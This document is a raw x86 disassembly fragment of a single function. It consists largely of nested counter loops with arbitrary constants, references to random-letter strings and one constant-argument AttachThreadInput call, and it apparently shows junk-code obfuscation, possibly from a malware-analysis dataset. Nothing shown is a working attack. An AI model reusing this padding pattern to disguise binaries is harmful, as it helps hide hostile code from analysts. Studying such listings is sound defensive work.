mov dword [ebp - 4], 0xba
cmp dword [ebp - 0x628], 0x1092
jge 0x4653df
mov edx, dword [ebp - 0xa04]
mov ecx, 0xab96a0
call fcn.0047f6dc
jmp 0x4653fb
or dword [ebp - 4], 0xffffffff
jmp 0x465405
jmp 0x465118
mov dword [ebp - 4], 0xbc
cmp dword [ebp - 0x630], 0xa42
jge 0x465429
push dword [ebp - 0x898]
call fcn.00482ed5
pop ecx
jmp 0x465445
or dword [ebp - 4], 0xffffffff
jmp 0x46544f
mov dword [ebp - 4], 0xbe
mov dword [ebp - 0x640], 0x5f95
mov dword [ebp - 0x8a4], str.vexzf_ohupjzs_jwqgyet_glmny_llqfoeyj_igu
cmp dword [ebp - 0x640], 0x62b2
jle 0x465541
and dword [ebp - 0x488], 0
jmp 0x465490
mov eax, dword [ebp - 0x488]
inc eax
mov dword [ebp - 0x488], eax
cmp dword [ebp - 0x488], 0x5881
jge 0x465541
and dword [ebp - 0x490], 0
jmp 0x4654b6
mov eax, dword [ebp - 0x490]
inc eax
mov dword [ebp - 0x490], eax
cmp dword [ebp - 0x490], 0x5bf1
jge 0x46553c
and dword [ebp - 0x498], 0
jmp 0x4654d8
mov eax, dword [ebp - 0x498]
inc eax
mov dword [ebp - 0x498], eax
cmp dword [ebp - 0x498], 0x82b
jge 0x465537
mov eax, dword [ebp - 0x488]
sub eax, dword [ebp - 0x490]
sub eax, dword [ebp - 0x498]
cdq
mov dword [ebp - 0x9e0], eax
mov dword [ebp - 0x9dc], edx
push dword [ebp - 0x9dc]
push dword [ebp - 0x9e0]
lea ecx, [ebp - 0xfac]
call fcn.00450edb
pop ecx
pop ecx
mov ecx, eax
call fcn.004028f3
push eax
call fcn.00482ed5
pop ecx
lea ecx, [ebp - 0xfac]
call fcn.004026e0
jmp 0x4654cb
jmp 0x4654a9
jmp 0x465483
cmp dword [ebp - 0x638], 0x2bd2
jge 0x465559
push dword [ebp - 0xa0c]
call fcn.00482ed5
pop ecx
mov byte [ebp - 4], 0xbf
cmp dword [ebp - 0x640], 0x5bd3
jge 0x465575
push dword [ebp - 0x8a4]
call fcn.00482ed5
pop ecx
jmp 0x465591
mov dword [ebp - 4], 0xbe
jmp 0x4655a1
jmp 0x4655bd
or dword [ebp - 4], 0xffffffff
jmp 0x4655c7
mov dword [ebp - 0x658], 0x1baa
mov dword [ebp - 0xa1c], str.pnmy_ehmbfah_evmg_zllx_rrbae_kfci
cmp dword [ebp - 0x658], 0x1dca
jle 0x465681
and dword [ebp - 0x4a0], 0
jmp 0x465601
mov eax, dword [ebp - 0x4a0]
inc eax
mov dword [ebp - 0x4a0], eax
cmp dword [ebp - 0x4a0], 0x4c54
jge 0x465681
and dword [ebp - 0x4a8], 0
jmp 0x465623
mov eax, dword [ebp - 0x4a8]
inc eax
mov dword [ebp - 0x4a8], eax
cmp dword [ebp - 0x4a8], 0x21ab
jge 0x46567c
mov eax, dword [ebp - 0x4a0]
add eax, dword [ebp - 0x4a8]
cdq
mov dword [ebp - 0x9ec], eax
mov dword [ebp - 0x9e8], edx
push dword [ebp - 0x9e8]
push dword [ebp - 0x9ec]
lea ecx, [ebp - 0xfdc]
call fcn.00450edb
pop ecx
pop ecx
mov ecx, eax
call fcn.004028f3
push eax
call fcn.00482ed5
pop ecx
lea ecx, [ebp - 0xfdc]
call fcn.004026e0
jmp 0x465616
jmp 0x4655f4
mov dword [ebp - 4], 0xc2
cmp dword [ebp - 0x648], 0x6e91
jge 0x465821
mov dword [ebp - 0x650], 0x7654
mov dword [ebp - 0x8b0], str.qekjcov_alatv_jkkja_zduqh_reaqxfch_lkr_eeth_qkarkbf
cmp dword [ebp - 0x650], 0x7989
jle 0x4657cd
push 1
push 0x9a6
push 0x23b0
call dword [sym.imp.USER32.dll_AttachThreadInput]
and dword [ebp - 0x4c0], 0
jmp 0x4656e4
mov eax, dword [ebp - 0x4c0]
inc eax
mov dword [ebp - 0x4c0], eax
cmp dword [ebp - 0x4c0], 0x4047
jge 0x4657cd
and dword [ebp - 0x4b0], 0
jmp 0x46570a
mov eax, dword [ebp - 0x4b0]
inc eax
mov dword [ebp - 0x4b0], eax
cmp dword [ebp - 0x4b0], 0x3216
jge 0x4657c8
and dword [ebp - 0x4b8], 0
jmp 0x465730
mov eax, dword [ebp - 0x4b8]
inc eax
mov dword [ebp - 0x4b8], eax
cmp dword [ebp - 0x4b8], 0x3d6e
jge 0x4657c3
and dword [ebp - 0x4c8], 0
jmp 0x465756
mov eax, dword [ebp - 0x4c8]
inc eax
mov dword [ebp - 0x4c8], eax
cmp dword [ebp - 0x4c8], 0x688
jge 0x4657be
mov eax, dword [ebp - 0x4b0]
cdq
idiv dword [ebp - 0x4b8]
mov eax, dword [ebp - 0x4c0]
sub eax, edx
and eax, dword [ebp - 0x4c8]
cdq
mov dword [ebp - 0x9f8], eax
mov dword [ebp - 0x9f4], edx
push dword [ebp - 0x9f4]
push dword [ebp - 0x9f8]
lea ecx, [ebp - 0x100c]
call fcn.00450edb
pop ecx
pop ecx
mov ecx, eax
call fcn.004028f3
push eax
call fcn.00482ed5
pop ecx
lea ecx, [ebp - 0x100c]
call fcn.004026e0
jmp 0x465749
jmp 0x465723
jmp 0x4656fd
jmp 0x4656d7
push dword [ebp - 0xa14]
call fcn.00482ed5
pop ecx
mov byte [ebp - 4], 0xc3
cmp dword [ebp - 0x650], 0x738f
jge 0x4657f5
push dword [ebp - 0x8b0]
call fcn.00482ed5
pop ecx
jmp 0x465811
mov dword [ebp - 4], 0xc2
jmp 0x465821
jmp 0x46583d
or dword [ebp - 4], 0xffffffff
jmp 0x465847
mov dword [ebp - 4], 0xc6
cmp dword [ebp - 0x658], 0x1aa5
jge 0x465866
push dword [ebp - 0xa1c]
call fcn.00482ed5
pop ecx
jmp 0x465882
or dword [ebp - 4], 0xffffffff
jmp 0x46588c
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret